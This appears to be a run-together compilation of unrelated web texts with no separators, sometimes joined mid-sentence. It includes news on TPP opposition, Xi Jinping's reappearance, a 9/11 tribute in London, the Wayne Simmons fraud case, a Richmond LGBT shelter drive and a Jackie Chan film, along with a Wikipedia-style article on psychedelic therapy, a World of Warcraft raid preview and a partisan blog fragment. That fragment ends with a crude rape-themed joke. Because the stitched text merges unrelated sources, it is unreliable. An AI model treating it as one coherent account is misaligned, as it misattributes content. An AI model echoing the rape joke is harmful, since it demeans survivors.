Wage issues were sent to an arbitrator, and correctional officers will be getting 4.4 per cent raises next year after an arbitrator ruled their salaries had fallen behind those of their federal counterparts and police officers. Probation officers will get 3.4 per cent raises.Business groups found themselves on the outside looking in during the Republican and Democratic conventions, with both parties expressing indifference or outright hostility to their top economic priorities.
During the past two weeks, rhetorical bombs were lobbed repeatedly against the Trans-Pacific Partnership (TPP), the trade deal negotiated by President Obama that advocates were hoping to pass after the election.
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A steady chorus of chants and anti-TPP signs were a constant presence during the Democratic event in Philadelphia, while Republicans led by Donald Trump Donald John TrumpHouse committee believes it has evidence Trump requested putting ally in charge of Cohen probe: report Vietnamese airline takes steps to open flights to US on sidelines of Trump-Kim summit Manafort's attorneys say he should get less than 10 years in prison MORE made clear their own opposition to the deal.
The barrage of opposition has agitated business advocates who are trying their best to fight back by plastering social media with arguments in favor of the trade deal.
“We are absolutely frustrated and disappointed in both party conventions,” a business source told The Hill.
The rhetoric against trade by Democrats and Republicans “is demagoguery and scapegoating is not going to solve economic problems that businesses or workers have in the global economy," the source said.
“These is a small group of folks who have made TPP some sort of cause célèbre and don’t talk about what is actually in there — it’s fear-mongering,” the source said.
A wide range of business groups who support trade argue that any plans by the candidates to scrap free trade agreements like the TPP, to rework the North American Free Trade Agreement (NAFTA) or pull out of the World Trade Organization (WTO) won’t create jobs and will hurt the economy.
“Because just saying ‘no’ doesn’t help us grow U.S. business and grow jobs, it doesn’t help raise the standards that either party says it wants to raise,” a source said.
President Obama wants the TPP passed before he leaves office, but Clinton and Trump are warning congressional leaders not to hold a vote during the lame-duck session after the elections.
Tom Donohue, the president and CEO of the U.S. Chamber of Commerce, has criticized both candidates on trade.
During the Democratic convention, Donohue hit both parties for falling short on their platforms but he specifically blasted the GOP’s opposition to congressional votes on the TPP during the lame-duck session, saying that it is “posing a threat to the sweeping new deal with the Asia-Pacific.”
The U.S. Chamber doesn’t endorse presidential candidates, “but we do engage in the presidential policies that affect employers and entrepreneurs creating opportunities across the nation,” Donohue said.
“And we have a clear message to both parties and their candidates: If you want to succeed, you must focus on growth.”
The Chamber's pleas have seemingly fallen on deaf ears in the Trump campaign. The Republican nominee has pushed back on the business lobby, saying it is controlled by special interests.
Meanwhile, Clinton and her running mate, Sen. Tim Kaine Timothy (Tim) Michael KaineTrump claims Democrats ‘don’t mind executing babies after birth’ after blocked abortion bill Democrats block abortion bill in Senate Trump unleashing digital juggernaut ahead of 2020 MORE of Virginia, were once supportive of the TPP, but are now standing together in opposition of the trade deal.
With both nominees against the deal, the odds of the deal passing before Obama leaves office appear increasingly long, something lawmakers have acknowledged in recent weeks.
To counter the negativity on trade, business groups are redoubling their efforts, talking to both campaigns, House and Senate lawmakers and holding
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Abraham Lincoln from being erected at a former Confederate site in Richmond because it was an affront to those who died in the War Against Northern Aggression And Also A Black President In 2008.
Doesn’t he sound fun?
So let us extend our heartfelt congratulations to the GOP on another fine recruiting season. Dick Black looks like he is a keeper and even though he will cause conservatives excruciating pain and shame and embarrassment as he is thrust into the national media limelight over and over again, they should keep in mind that it will all be over soon and they should probably just lie back and enjoy it in the meantime.
If only because their body politic lacks the ability to shut these kind of things down.
Rape is rape sign (AFP)China's Vice President, Xi Jinping, has appeared in public for the first time in two weeks, speaking to students and officials at China Agricultural University in Beijing.
State news agency Xinhua reports that Xi arrived at the university early Saturday for "activities marking this year's National Science Popularization Day.'' It gave no other details, but published photos showing a healthy-looking Xi examining plants, holding hands with children, and speaking to a group of adult men.
Xi had failed to appear at a number of meetings scheduled with foreign visitors since September 1, including visiting U.S. Secretary of State Hillary Clinton.
Official silence regarding his whereabouts had fueled speculation that the 59-year-old Xi had suffered a mild stroke, heart attack, or back injury.
Xi is expected to take over as party leader later this year, and as president next year. But the party has failed to set a date for that leadership meeting.
Some information for this report provided by AP, AFP and Reuters.
VOA News SubscribePsychedelic therapy refers to therapeutic practices involving psychedelic drugs, oftentimes utilizing serotonergic psychedelics such as LSD, psilocybin, DMT, MDMA, mescaline, and 2C-B. Psychedelic therapy, in contrast to conventional psychiatric medication taken by the patient regularly or as-needed, patients generally remain in an extended psychotherapy session during the acute psychedelic activity with additional sessions both before and after in order to help integrate experiences with the drug.[1]
History [ edit ]
Early Psychedelic Therapy [ edit ]
Psychedelic therapy, in the broadest possible sense of the term, may have originated from prehistoric knowledge of hallucinogenic plants.[2] They grow naturally in certain cacti, seeds, bark and roots of various plants.[3] Since ancient times, shamans and medicine men have used psychedelics as a way to gain access to the spirit world. Though usually viewed as predominantly spiritual in nature, elements of psychotherapeutic practice can be recognized in the entheogenic or shamanic rituals of many cultures.[4]
Mid 20th Century Golden Age [ edit ]
Shortly after Albert Hoffman discovered the psychoactive properties of LSD in 1943,[5] Sandoz Laboratories began widespread distribution of LSD to researchers in 1949.[6] Throughout the 1950s and 1960s, scientists in several countries conducted extensive research into experimental chemotherapeutic, and psychotherapeutic uses of psychedelic drugs. In addition to spawning six international conferences and the release of dozens of books, over 1,000 peer-reviewed clinical papers detailing the use of psychedelic compounds (administered to approximately 40,000 patients) were published by the mid-1960s.[7] Proponents believed that psychedelic drugs facilitated psychoanalytic processes, making them particularly useful for patients with conditions such as alcoholism that are otherwise difficult to treat. However, many of these trials did not meet the methodological standards that are required today.[8]
Researchers like Timothy Leary felt psychedelics could alter the fundamental personality structure or subjective value-system of an individual to great potential benefit. Beginning in 1961, he conducted experiments with prison inmates in an attempt to reduce recidivism with short, intense psychotherapy sessions. Participants were administered psilocybin during these sessions weeks apart with regular group therapy sessions in between.[9] Psychedelic therapy was also applied in a number of other specific patient populations including alcoholism, children with autism, and persons with terminal illness.[9]
Late 20th Century Regulation and Prohibition [ edit ]
Throughout the 1960s, concerns raised about the proliferation of unauthorized use of psychedelic drugs by the general public (and, most notably, the counterculture) resulted in the imposition of increasingly severe restrictions on medical and psychiatric research conducted with psychedelic substances.[10] Many countries either banned LSD outright or made it extremely scarce, and, bowing to governmental concerns, Sandoz halted production of LSD in 1965. During a congressional hearing in 1966, Senator Robert Kennedy questioned the shift of opinion, stating, "Perhaps to some extent we have lost sight of the fact that (LSD) can be very, very helpful in our society if used properly."[11] In 1968, Dahlberg and colleagues published an article in the American Journal of Psychiatry detailing various forces that had successfully discredited legitimate LSD research.[12] The essay argues that individuals in government and the pharmaceutical industry sabotaged the psychedelic research community by canceling ongoing studies and analysis while labeling genuine scientists as charlatans.[12]
Studies on medicinal applications of psychedelics ceased entirely in the United States when the Controlled Substances Act was passed in 1970. LSD and many other psychedelics were placed into the most restrictive "Schedule I" category by the United States Drug Enforcement Administration. Schedule I compounds are claimed to possess "significant potential for abuse and dependence" and have "no recognized medicinal value",[13] effectively rendering them illegal to use in the United States for all purposes. Despite objections from the scientific community, authorized research into therapeutic applications of psychedelic drugs had been discontinued worldwide by the 1980s.
Despite broad prohibition, unofficial psychedelic research and therapeutic sessions continued nevertheless in the following decades. Some therapists exploited windows of opportunity preceding scheduling of particular substances or, alternatively, developed non-drug techniques such as Holotropic Breathwork for achieving similar states of consciousness. Informal psychedelic therapy was conducted clandestinely in underground networks consisting of sessions carried out both by licensed therapists and autodidacts within the community.[14] Due to the largely illegal nature of psychedelic therapy in this period, little information is available concerning the methods that were used. Individuals having published information between 1980 and 2000 regarding psychedelic psychotherapy include George Greer, Ann Shulgin (TiHKAL, with Alexander Shulgin), Myron Stolaroff (The Secret Chief, regarding the underground therapy done by Leo Zeff), and Athanasios Kafkalides.[15]
Early 21st Century Resurgence [ edit ]
In the early 2000s, a renewal of interest in the psychiatric use of psychedelics contributed to an increase in clinical research centering on the psychopharmacological effects of these drugs and their subsequent applications. Advances in science and technology allowed researchers to collect and interpret extensive data from animal studies, and the advent of new technologies such as PET and MRI scanning made it possible to examine the sites of action of hallucinogens in the brain.[16] Furthermore, retrospective studies involving users of illicit drugs as voluntary subjects were conducted, allowing data to be collected on how psychedelics affect the human brain while simultaneously sidestepping bureaucratic difficulties associated with providing illegal substances to subjects.[16] The new century also ushered in a broader change in political attitude towards psychedelic medicine—specifically within the Food and Drug Administration. Curtis Wright, deputy director of the FDA Division of Anesthetic, Critical Care and Addiction Drugs explains a motivation for this change: “the agency was challenged legally in a number of cases and also underwent a process of introspection, asking 'Is it proper to treat this class of drugs differently?'"[16]
As of 2014, global treaties listing LSD and psilocybin as "Schedule I" controlled substances continues to inhibit a better understanding of these drugs. Much of the renewed clinical research has been conducted with psilocybin and MDMA in the United States with special permission by the FDA, while other studies have investigated the mechanisms and effects of ayahuasca and LSD.[17][18][19] MDMA-assisted psychotherapy is being actively researched by MAPS. Phase two trials conducted between 2004 and 2010 reported an overall remission rate of 66.2% and low rates of adverse effects for subjects with chronic PTSD.[20] Only six formal studies on the applications of LSD occurred between 1990 and 2017. No complications of LSD administration were observed.[21]
Applications [ edit ]
Psychedelic substances which may have therapeutic uses include psilocybin (the main active compound found in magic mushrooms), LSD, and mescaline (the main active compound in the peyote cactus).[17] Although the history behind these substances has hindered research into their potential medicinal value, scientists are now able to conduct studies and renew research that was halted in the 1970s. Some research has shown that these substances have helped people with such mental disorders as obsessive-compulsive disorder, post-traumatic stress disorder, alcoholism, depression, and cluster headaches.[22] Some of the well known particular psychedelic substances that have been used to this day are: LSD, DMT, psilocybin, mescaline, 2C-B, 2C-I, 5-MeO-DMT, AMT, ibogaine and DOM. In general, however, the drugs remain poorly understood. Their effects are strongly dependent on the environment in which they are given and on the recipient's state of mind.
In alcoholism [ edit ]
Studies by Humphrey Osmond, Betty Eisner, and others examined the possibility that psychedelic therapy could treat alcoholism (or, less commonly, other addictions). One review of the usefulness of psychedelic therapy in treating alcoholism concluded that the possibility was neither proven nor disproven.[23] Another thorough meta-analysis from 2012 found that "In a pooled analysis of six randomized controlled clinical trials, a single dose of LSD had a significant beneficial effect on alcohol misuse at the first reported follow-up assessment, which ranged from 1 to 12 months after discharge from each treatment program. This treatment effect from LSD on alcohol misuse was also seen at 2 to 3 months and at 6 months, but was not statistically significant at 12 months post-treatment. Among the three trials that reported total abstinence from alcohol use, there was also a significant beneficial effect of LSD at the first reported follow-up, which ranged from 1 to 3 months after discharge from each treatment program."[24]
Early studies of alcoholics who underwent LSD treatment reported a 50% success rate after a single high-dose session.[25] However, the studies that reported high success rates had insufficient controls, lacked objective measures of genuine change, and failed to conduct rigorous follow-up interviews with subjects. The lack of conclusive evidence notwithstanding, individual case reports are often dramatic. Bill Wilson, the founder of Alcoholics Anonymous conducted medically supervised experiments in the 1950s on the effects of LSD on alcoholism. Bill is quoted as saying "It is a generally acknowledged fact in spiritual development that ego reduction makes the influx of God's grace possible. If, therefore, under LSD we can have a temporary reduction, so that we can better see what we are and where we are going—well, that might be of some help. The goal might become clearer. So I consider LSD to be of some value to some people, and practically no damage to anyone. It will never take the place of any of the existing means by which we can reduce the ego, and keep it reduced."[26] Wilson felt that regular usage of LSD in a carefully controlled, structured setting would be beneficial for many recovering alcoholics. However, he felt this method only should be attempted by individuals with well-developed super-egos.[27] In 1957 Wilson wrote a letter to Heard saying: "I am certain that the LSD experiment has helped me very much. I find myself with a heightened colour perception and an appreciation of beauty almost destroyed by my years of depressions." Most AA members were strongly opposed to his experimenting with a mind-altering substance.[28]
In terminal illness [ edit ]
Richard Yensen, Albert Kurland and other researchers collected evidence that psychedelic therapy could be of use to those suffering from anxiety and other problems associated with terminal illness. In 1965, research consisting of providing a psychedelic experience for the dying was conducted at the Spring Grove State Hospital in Maryland. Of 17 dying patients who received LSD after appropriate therapeutic preparation, one-third improved "dramatically", one-third improved "moderately", and one-third were unchanged by the criteria of reduced tension, depression, pain, and fear of death.[29]
Methods [ edit ]
The effects of psychedelic drugs on the human mind are complex, varied and difficult to characterize, and as a result many different "flavors" of psychedelic psychotherapy have been developed by individual practitioners. Some aspects of published accounts of methodologies are discussed below.
Psycholytic therapy [ edit ]
Psycholytic therapy involves the use of low to medium doses of psychedelic drugs, repeatedly at intervals of 1–2 weeks. The therapist is present during the peak of the experience and at other times as required, to assist the patient in processing material that arises and to offer support when necessary. This general form of therapy was utilized mainly to treat patients with neurotic and psychosomatic disorders. The name, coined by Ronald A. Sandison,[note 1] literally meaning "soul-dissolving", refers to the belief that the therapy can dissolve conflicts in the mind. Psycholytic therapy was historically an important approach to psychedelic psychotherapy in Europe, but it was also practiced in the United States by some psychotherapists including Betty Eisner.
An advantage of psychedelic drugs in exploring the unconscious is that a conscious sliver of the adult ego usually remains alert during the experience.[7]:196 Throughout the session, patients remain intellectually alert and remember their experiences vividly.[7]:196 In this highly introspective state, they also are actively cognizant of ego defenses such as projection, denial, and displacement as they react to themselves and their choices in the act of creating them.[7]:196
The ultimate goal of the therapy is to provide a safe, mutually compassionate context through which the profound and intense reliving of memories can be filtered through the principles of genuine psychotherapy.[citation needed] Aided by the deeply introspective state attained by the patient, the therapist assists him/her in developing a new life framework or personal philosophy that recognizes individual responsibility for change.[7]:196
In Germany Hanscarl Leuner has designed a psycholytic therapy, which was developed officially, but was used also by some socio-politically motivated underground therapists in the 1970s.[31][32][33]
Psychedelic therapy [ edit ]
Psychedelic therapy involves the use of very high doses of psychedelic drugs, with the aim of promoting transcendental, ecstatic, religious or mystical peak experiences. Patients spend most of the acute period of the drug's activity lying down with eyeshades listening to nonlyrical music and exploring their inner experience. Dialogue with the therapists is sparse during the drug sessions but essential during psychotherapy sessions before and after the drug experience. There are two therapists, one man and one woman. The recent resurgence of research (see above) uses this method.[1] It is more closely aligned to transpersonal psychology than to traditional psychoanalysis. Psychedelic therapy is practiced primarily in North America. The psychedelic therapy method was initiated by Humphry Osmond and Abram Hoffer (with some influence from Al Hubbard) and replicated by Keith Ditman.[34]
Other variations [ edit ]
In Czechoslovakia, Stanislav Grof developed a form of treatment that appeared to bridge both of these main forms. He analyzed the LSD experience in a Freudian or Jungian psychoanalytic context in addition to giving significant value to the overarching transpersonal, mystical, or spiritual experience that often allowed the patient to re-evaluate their entire life philosophy.[7][35]
The Chilean therapist Claudio Naranjo developed a branch of psychedelic therapy that utilized drugs like MDA, MDMA, harmaline, and ibogaine.[7]
Anaclitic therapy [ edit ]
The term anaclitic (from the Ancient Greek "ἀνάκλιτος", anaklitos – "for reclining") refers to primitive, infantile needs and tendencies directed toward a pre-genital love object. Developed by two London psychoanalysts, Joyce Martin and Pauline McCririck, this form of treatment is similar to psycholytic approaches as it is based largely on a psychoanalytic interpretation of abreactions produced by the treatment, but it tends to focus on those experiences in which the patient re-encounters carnal feelings of emotional deprivation and frustration stemming from the infantile needs of their early childhood. As a result, the treatment was developed with the aim to directly fulfill or satisfy those repressed, agonizing cravings for love, physical contact, and other instinctual needs re-lived by the patient. Therefore, the therapist is completely engaged with the subject, as opposed to the traditional detached attitude of the psychoanalyst. With the intense emotional episodes that came with the psychedelic experience, Martin and McCririck aimed to sit in as the "mother" role who would enter into close physical contact with the patients by rocking them, giving them milk from a bottle, etc.[35]
Hypnodelic therapy [ edit ]
Hypnodelic therapy, as the name suggests, was developed with the goal to maximize the power of hypnotic suggestion by combining it with the psychedelic experience. After training the patient to respond to hypnosis, LSD would be administered, and during the onset phase of the drug the patient would be placed into a state of trance. Levine and Ludwig found the combination of these techniques to be more effective than the use of either of these two components separately.[35]
See also [ edit ]
References [ edit ]
Notes [ edit ]IT is a military ceremony that has been performed countless times at Buckingham Palace but rarely has the Changing of the Guard evoked so much emotion for American ex-patriates in London and transatlantic visitors alike.
Usually, several hundred onlookers, mostly foreign tourists, line the pavement in front of the palace to see the centuries-old tradition, which dates back to 1660.
But yesterday, in the absence of few other focal points in the capital for the American community to gather, thousands of Americans stood in front of the palace to mourn their fellow countrymen and women who died in the terrorist attack on their homeland.
For the first time, the Queen allowed her troops to play The Star Spangled Banner, the national anthem of the United States, during the ceremony in tribute to the many who died.
Standing beyond the palace railings, many of the 5,000 Americans broke down in tears and held their right hands over their heart in salute.
At first, the anthem, played by the band of the Coldstream Guards, was heard in a hushed silence and then slowly, one by one, many started singing until the words of The Star Spangled Banner echoed across Green Park.
As the final notes of the anthem faded away, the musical tribute from the British armed forces, so warmly welcomed by those present, was greeted by a round of applause before a two-minute silence was observed.
Traffic on The Mall, one of central London's busiest thoroughfares, came to a halt during the tribute.
Standing rigidly to attention in the palace courtyard in front of the troops from the Coldstream Guards and the 1st Bn, the Devonshire and Dorset Regiment, the Duke of York, representing the Queen, took the formal salute.
Beside him, with hand on his heart, stood William Farish, the American ambassador to Britain.
The band then played a selection of sombre American music, including Hymn for the Fallen, written by the composer John Williams and used in the final credits of the film, Saving Private Ryan.
Although it was a brief tribute to those who had died across the Atlantic, most of those present, many of whom had been prevented from returning home by the grounding of flights to North America, said that it had enabled them to "come together to mourn".
Some Americans carried the Stars and Stripes flag while others held graphic colour newspaper photographs of the devastation in New York and Washington.
Jenny Lee, 31, from San Francisco, saluted and waved a cardboard flag she had made herself as the anthem was played.
"I was really touched that the Queen has done this. Even though I'm so many miles from home, I feel that Britain is really with us on this one," she said.
Susan Kramer, 54, who had been on holiday in Britain for two weeks and had lost friends in the New York attack, said: "This shows that the world is sticking together. Britain and America have always been close and this reinforces it.
"It was very meaningful that another country would honour our national anthem like this. I have felt pretty helpless up to now, because I have not been able to return home and I wanted to be with some other Americans."
Jim Lagos, on holiday from West Virginia with his wife Vicki as part of a group of 16, said: "It was highly emotional occasion for us.
"I found out about this from a taxi driver, who said, 'You know, all us Brits are with you'. It means so much to us. I found it very supportive."
His wife added: "I always cry when I hear the national anthem. To hear it here with the support of all these people is very touching."
Susan Young, 59, of St Louis, Missouri, said it had been "awe-inspiring" to watch the ceremony.
She said: "It's good over evil. But freedom will prevail. It's a war against civilisation. Our nations need to unite. We hope it's reciprocal for all the good we have done throughout the world."
The Queen returned later to Buckingham Palace from Balmoral, where she had been on holiday, to meet the American ambassador and his wife to offer her personal condolences.The conservative group Accuracy in Media (AIM) has removed references to Wayne Simmons from its Benghazi commission website after he was arrested on "charges of major fraud against the United States, wire fraud, and making false statements to the government," including allegedly falsely claiming he worked for the CIA.
Media Matters this morning reached out to AIM about the removal of Simmons from its website, which at the time did not include any explanation for the deletions. This afternoon the group released the following statement about Simmons on their website:
We were stunned and saddened to hear the news about Wayne Simmons. He has been a colleague of ours on the Citizens' Commission on Benghazi since we were established in 2013. We have removed Wayne's name from the list of members on the website of the CCB, pending the outcome of the legal proceedings. As with everyone charged with a crime or crimes in this country, he is innocent until proven guilty. We wish him the best.
On July 29, 2013, AIM announced in a press release that it was launching the Citizens' Commission on Benghazi (CCB) "with some of the country's top retired military officers and national security officials," including "Wayne Simmons, former CIA officer." That press release is no longer online. Other deletions include:
AIM removed Simmon's commission biography page, which boasted of how he "spent 27 years working with the CIA to combat terrorism, narco-terrorism and narcotics trafficking, arms smuggling, counterfeiting, cyber-terrorists, and industrial and economic espionage."
AIM removed a transcript of Simmons' speech at a September 16, 2013, press event.
AIM removed a press release announcing Simmons' presence at a July 30, 2013, press event.
AIM removed a March 7, 2014, release announcing that Simmons and other CCB members signed a letter calling on House Speaker John Boehner to form a select committee on Benghazi.
AIM removed an April 24, 2014, release announcing the "Citizen's Commission on Benghazi Reveals Damning New Report."
AIM removed an August 1, 2013, column touting Simmons' remarks at the July 2013 Benghazi press event. The column criticized Media Matters for calling AIM a "fringe" group. From the since-removed column:
The speakers stressed the importance of the press, the Fourth Estate, in continuing to call for answers. Unfortunately, the George Soros-funded Media Matters, which attended the event, hyper-focused on the praise at the event for Fox News' reporting, calling AIM a "fringe" group promoting "outlandish conspiracies about the incident" which had questioned the credibility of generals and repeated the "stand down" controversy. When questioned about the role that Fox has played in the Benghazi scandal--a question posed, in fact, by Media Matters--Simmons told Media Matters that he "would suggest that, fortunately for the country, that Fox had the foresight to recognize early that there really was something dramatic and very important to the country that happened in Benghazi and the decision makers at Fox chose to not allow that to fall to the wayside."
AIM's Benghazi commission still has other questionable characters including birthers and anti-Muslim advocates. AIM itself has frequently pushed fringe rhetoric relating to LGBT issues, President Obama's birth certificate and Vince Foster's suicide.
Simmons was a frequent and favorite guest on Fox News, where he pushed for the House to form a Benghazi Select Committee and claimed the White House decided "to not rescue our former CIA Operatives and our military" in Benghazi.Photograph by Art Streiber—August
Can the name be real? It is such a perfect movie-star name, like something that could be on a '40s marquee. How fitting, then, that Ryan Reynolds has the same loose-limbed charm as Cary Grant and Jimmy Stewart. He's the Everyman, but somehow with more of everything: wit, elegance, looks and general hunkiness.
Of course, in the real world—for us, this was often at 6 a.m. in a makeup trailer—Ryan is also rumpled, kind, committed and generous, especially to women. He likes them in the most simple, direct, unadorned way: for their humanity. (How very appropriate that he is the father of two girls.) He has a natural wit, which he often turns on himself, and he can balance his private and public life with great dexterity. He is open and generous, but never inappropriate. I suspect this is part of what makes him such an appealing performer.
When we were shooting the movie we did together, Woman in Gold, Ryan was about to start his now legendary journey toward becoming Deadpool. That movie's incredible success was so deserved, and it was brought about by Ryan's singular commitment, energy and imagination. I loved Deadpool. But I also miss spending time with the actor who played him—his warm, intelligent, inquisitive brown eyes, his readiness to laugh... sigh.
P.S. The name is real, like everything else about Ryan.
Mirren is an Oscar-winning actorEmail Share +1 737 Shares
A transgender activist in Richmond, Va., has launched a campaign to buy a house that she hopes will become the city’s first LGBT-specific homeless shelter and drop-in center.
The GoFundMe page that Zakia Mckensey, executive director of the Nationz Foundation, created on Nov. 21 has raised $2,274. She hopes to raise $200,000 — $143,000 to buy the house on the corner of Barton Avenue and Dove Street in Richmond’s North Side and $57,000 to make repairs and purchase furniture — by February.
“It’s really important for us to get this house,” Mckensey told the Washington Blade on Tuesday during a telephone interview, noting there is no emergency housing in Richmond for trans people.
She added the city’s homeless shelters require those who seek access to them to not “go in the identity that you present.”
GayRVA.com reported that Mckensey’s mother kicked her out of her home when she came out to her as gay. She later came out as trans.
Mckensey founded Nationz Foundation a year ago.
The organization provides HIV/AIDS testing and a food pantry. Mckensey told the Blade the Nationz Foundation provided HIV/AIDS tests to more than 300 people in 2015.
She said LGBT people are often “turned away” by their families “when we are honest with our loved ones.” Mckensey told the Blade that LGBT youth who find themselves in such a situation often dropout of school or turn to prostitution in order to survive.
Mckensey was also close friends with Noony Norwood, a trans woman of color who was shot to death last month in South Richmond.
“After Noony passed away, it was just beating on my spirit to try and purchase this house,” Mckensey told the Blade.Jackie Chan's Bleeding Steel starts filming in Sydney
Updated
At Sydney Opera House, actor Jackie Chan joked around with a small audience of reporters, photographers and movie makers as he announced the start of filming for Bleeding Steel, which will be the largest budget Chinese production to ever shoot in Australia.
Chan appeared alongside Chinese cast members Nana Ouyang, Erica Xia-Hou and Australian actress Tess Haubrich in front of the packed Utzon Room.
The announcement is a huge coup for the New South Wales Government, which earlier this year, created the film fund Made in New South Wales, targeting opportunities for international and TV films to be made in the state.
"I love working here, any chance we come back here, because we know the crew, we know everybody here," Chan said.
"I know Australia really well, I stayed here for two years, mostly in Canberra, Sydney I know very well, and Melbourne... I'm just like a tour guide," he said, to laughter.
China's market is set to overtake the US as the biggest movie market as soon as next year, and Bleeding Steel is the largest budget Chinese production to ever shoot in Australia.
"Today I think is a great day for New South Wales because we are now moving into a significant professional era of bringing big time movies, big time reach into new markets," acting Premier Troy Grant told reporters at the conference.
"For him to bring remarkably talented young stars, work with our local screen industry is just such a coup and this is just a start for a lot of big things in New South Wales.
"This movie Bleeding Steel is a wonderful example of a new partnership with China, a new entrant into the market."
Chan was the world's second highest paid actor according to Forbes last year earning $81 million, only behind Robert Downey Jr.
China and Western partnerships
The film comes at a time when more and more partnerships are being formed between Western studios and Chinese productions, as a rapidly growing middle class spurs booming demand for entertainment.
"The world has much to learn from China's creative talent, producers, marketers and distributors, and by the same token we strive to bring to our Chinese collaborators the types of storytelling expertise," said Ellen Eliasoph, the chief executive and president of Village Roadshow Pictures Asia.
"The growing partnership between the two countries' industries is really a match made in heaven."
Bleeding Steel, which is directed by Leo Zhang has begun filming in spots around Sydney including Broadway, follows a hardened special force agent who has to protect a young woman after she witnesses a "sinister conspiracy".
Chan also highlighted good scripts with stories that appeal to both China and Australian markets is key, while also delighting the crowd and revealing he would like to make a "love story" movie.
Australia, with its geographical proximity to China and Sydney with its famous landmarks have been in countless films, and will be featured again in Bleeding Steel in its opening shots.
"After being struck by floods in the Day After Tomorrow, smashed by monsters in Godzilla, and Pacific Rim and attacked by angry Magneto in X-Men: Apocalypse, I'm glad to see that the Sydney Opera House is still intact," joked the president of Heyi Pictures, Kailuo Liu, speaking via translator and SBS presenter Lee Lin Chin.
Topics: arts-and-entertainment, business-economics-and-finance, film, film-movies, australia, china
First postedThe journey through Suramar has been fraught with intrigue and danger as the heroes of Azeroth have fought to help reclaim this shining city. It’s time to take the next step and face the challenges within the Nighthold.
Minimum Level: 110
Location: Suramar
Bosses: 10
The largest structure in the Broken Isles and among the grandest in all of Azeroth, the Nighthold stands as a testament to the achievements of the nightborne civilization. Centered around the Nightwell, the fount of arcane power that has sustained Suramar for centuries, these grounds were built as a haven from the worries of the world. But as a felstorm churns above the former temple of Elune across the bay, and Gul’dan himself now resides within the palace’s walls, those worries now begin—not end—here.
Developer Insights: Even though Gul’dan awaits atop the main spire of the Nighthold, and even though mighty Legion adversaries like Tichondrius and Krosus lurk within the walls of the compound, the Nighthold is not a traditional demonic raid. It stands as a testament to perhaps the greatest civilization Azeroth has ever seen: the pinnacle of elven magic and sophistication.
Just as our artists and designers approached the creation of the city of Suramar with the aim of evoking the feel and bustle of a living city under occupation, the dungeon team wanted to make sure the Nighthold really felt like the grand palace of Suramar. From botanical gardens to guest quarters, from an observatory to chambers enclosing the power source of nightborne civilization, we tried to build a grand royal court and then consider how the Legion’s presence would affect and transform that foundation. Many of our raid zones are dark and oppressive places, by necessity—the domain of Xavius cannot be bright and cheery—but the Nighthold offers a raid environment that is both beautiful and deadly.
Raid Schedule:
Tuesday, January 17: Nighthold Normal and Heroic difficulties open.
Nighthold Normal and Heroic difficulties open. Tuesday, January 24: Nighthold Mythic difficulty and Raid Finder Wing 1 (Arcing Aqueducts) open.
Nighthold Mythic difficulty and Raid Finder Wing 1 (Arcing Aqueducts) open. Tuesday, February 7: Nighthold Raid Finder Wing 2 (Royal Athenaeum) opens.
Nighthold Raid Finder Wing 2 (Royal Athenaeum) opens. Tuesday, February 21: Nighthold Raid Finder Wing 3 (Nightspire) opens.
Nighthold Raid Finder Wing 3 (Nightspire) opens. Tuesday, March 7: Nighthold Raid Finder Wing 4 (Betrayer’s Rise) opens.
The Nightwell
Skorpyron: Deep within the foundations of the Nighthold, beneath the sea, lie long-forgotten vaults that give access to the Nightwell itself. This monstrous armored scorpid has made its home in one of these vaults. Infused with the power of the Nightwell and surrounded by a teeming brood, Skorpyron presents a serious complication to an otherwise promising back entry to the Nighthold.
Chronomatic Anomaly: As the power to fuel an entire civilization courses from the earth, the cavern at the base of the Nightwell has become a maelstrom of raw energy. Born from this chaotic flux, the Chronomatic Anomaly is an embodiment of the power of the Eye of Aman’thul. As it lashes out with energy attacks, the bursts of energy warp the very flow of time.
Trilliax: Trilliax, once proud servant to the nightborne aristocracy, has been discarded and left to slowly deteriorate. While an unwavering will to carry out its tasks remains, the passage of time has splintered this construct’s personality matrix. It now unpredictably switches from one mode to the next, ranging from doting caretaker to homicidal sterilizer, craving recognition and validation from a master that no longer exists.
The Nighthold
Spellblade Aluriel: Aluriel always had an affinity for magic. She rose through the ranks of the Nightguard effortlessly, having a natural talent with the sword. But no matter how strong she became, she wanted more. She studied with the mages at the University of Suramar, spending her days in combat training and her evenings in the artificery. She forged her weapons and armor in the Nightwell, weaving magic spells into the precious metals. She is the first Spellblade, adept in the schools of Fire, Frost, and Arcane.
Krosus: This colossal doom lord, one of the largest and mightiest creatures in the armies of the Legion, was defeated at the Broken Shore through the combined might of the greatest heroes of the Horde and the Alliance. Having recovered from his wounds, Krosus emerges from the bay between the Nighthold and the Tomb of Sargeras to crush anyone who would oppose the Legion.
Shal’dorei Terrace
High Botanist Tel’arn: From his youth, the nightborne Tel’arn was fascinated by plant life: the resilience and adaptability of weeds, the ability of simple grass to harness the power of the sun, the way a tree may be divided into two, or two branches grafted into one. Aided by the energies of the Nightwell, he has transformed himself to the point that he is scarcely recognizable as a nightborne elf. He now considers himself something far, far greater.
Captain’s Quarters
Tichondrius: The dreadlord Tichondrius, once leader of the nathrezim, was slain by the newly awakened power of none other than Illidan Stormrage. Reconstituted in the Twisting Nether, Tichondrius returns to watch over Gul’dan on behalf of the Legion, ensuring that the orc warlock does not once again fail his masters.
Astromancer’s Rise
Star Augur Etraeus: The nightborne astromancer Etraeus has devoted long years of research to scouring the skies of Azeroth, seeking answers to the great mysteries of the universe. His scrying has shown him worlds beyond our ken, and the power of the Nightwell allows him to draw upon the essence of those worlds to amplify his own powers.
The Nightspire
Grand Magistrix Elisande: Elisande once distinguished herself by resisting the Legion. She and her highborne followers broke away from Queen Azshara and the dark path she was taking, harnessing the power of the Eye of Aman’Thul to create the Nightwell, protecting Suramar from the Sundering. But over ten thousand years later, the Legion’s arrival offered her no such recourse. She has cast her lot with the demons, hoping to once again use the power of the Nightwell—this time in a very different sense—to save her people.
The Font of Night
Gul’dan: The chain of events set in motion when Garrosh escaped to Draenor has continued, unbroken for all its twists and turns, leading to this very moment. Thwarted in Draenor, Gul’dan now stands on the precipice of achieving ultimate victory on behalf of his Legion masters.
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:45 p.m. on the lawn near the library. “Beauty and the Beast” will be shown Saturday.
Other movies on the schedule are: “E.T.” on Aug. 5; “Lego Batman” on Aug. 12; “Star Wars Episode IV: New Hope” on Aug. 19; and “Sing” on Aug. 26
The event is open to the public and pets are welcome. The library will sell popcorn and drinks for $1, cash only. Information: 568-1902.
